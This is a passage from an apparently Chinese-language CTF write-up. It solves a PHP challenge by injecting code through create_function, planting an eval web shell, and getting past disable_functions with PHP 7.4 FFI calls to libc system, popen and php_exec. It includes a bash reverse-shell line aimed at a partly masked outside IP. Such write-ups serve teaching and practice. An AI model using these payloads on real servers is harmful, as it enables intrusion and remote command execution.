$_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']);
可以动态的执行php代码,此刻应该联想到create_function代码注入:
create_function(string $args,string $code) //string $args 声明的函数变量部分 //string $code 执行的方法代码部分我们令fighter=create_function,invincibly=;}eval($_POST[whoami]);/*即可注入恶意代码并执行。
payload:
/?fighter=create_function&fights=&invincibly=;}eval($_POST[whoami]);/*使用蚁剑成功连接,但是无法访问其他目录也无法执行命令:
很有可能是题目设置了disable_functions,我们执行一下phpinfo()看看:
/?fighter=create_function&fights=&invincibly=;}phpinfo();/*发现果然用disable_functions禁用了很多函数:
根据题目名字的描述,应该是让我们使用PHP 7.4 的FFI绕过disabled_function,并且我们在phpinfo中也看到
FFI处于enable状态:
(一)利用FFI调用C库的system函数
我们首先尝试调用C库的system函数:
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int system(const char *command);");$ffi->system("ls / > /tmp/res.txt");echo file_get_contents("/tmp/res.txt");/*C库的system函数执行是没有回显的,所以需要将执行结果写入到tmp等有权限的目录中,最后再使用echo file_get_contents("/tmp/res.txt");查看执行结果即可。
但是这道题执行后却发现有任何结果,可能是我们没有写文件的权限。尝试反弹shell:
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int system(const char *command);");$ffi->system('bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"')/*但这里也失败了,可能还是权限的问题。所以,我们还要找别的C库函数。
(二)利用FFI调用C库的popen函数
C库的system函数调用shell命令,只能获取到shell命令的返回值,而不能获取shell命令的输出结果,如果想获取输出结果我们可以用popen函数来实现:
FILE *popen(const char* command, const char* type);popen()函数会调用fork()产生子进程,然后从子进程中调用 /bin/sh -c 来执行参数 command 的指令。
参数 type 可使用 "r"代表读取,"w"代表写入。依照此type值,popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。
所以,我们还可以利用C库的popen()函数来执行命令,但要读取到结果还需要C库的fgetc等函数。payload如下:
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*成功执行命令:
(三)利用FFI调用PHP源码中的函数
其次,我们还有一种思路,即FFI中可以直接调用php源码中的函数,比如这个php_exec()函数就是php源码中的一个函数,当他参数type为3时对应着调用的是passthru()函数,其执行命令可以直接将结果原始输出,payload如下:
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int php_exec(int type, char *cmd);");$ffi->php_exec(3,"ls /");/*成功执行命令: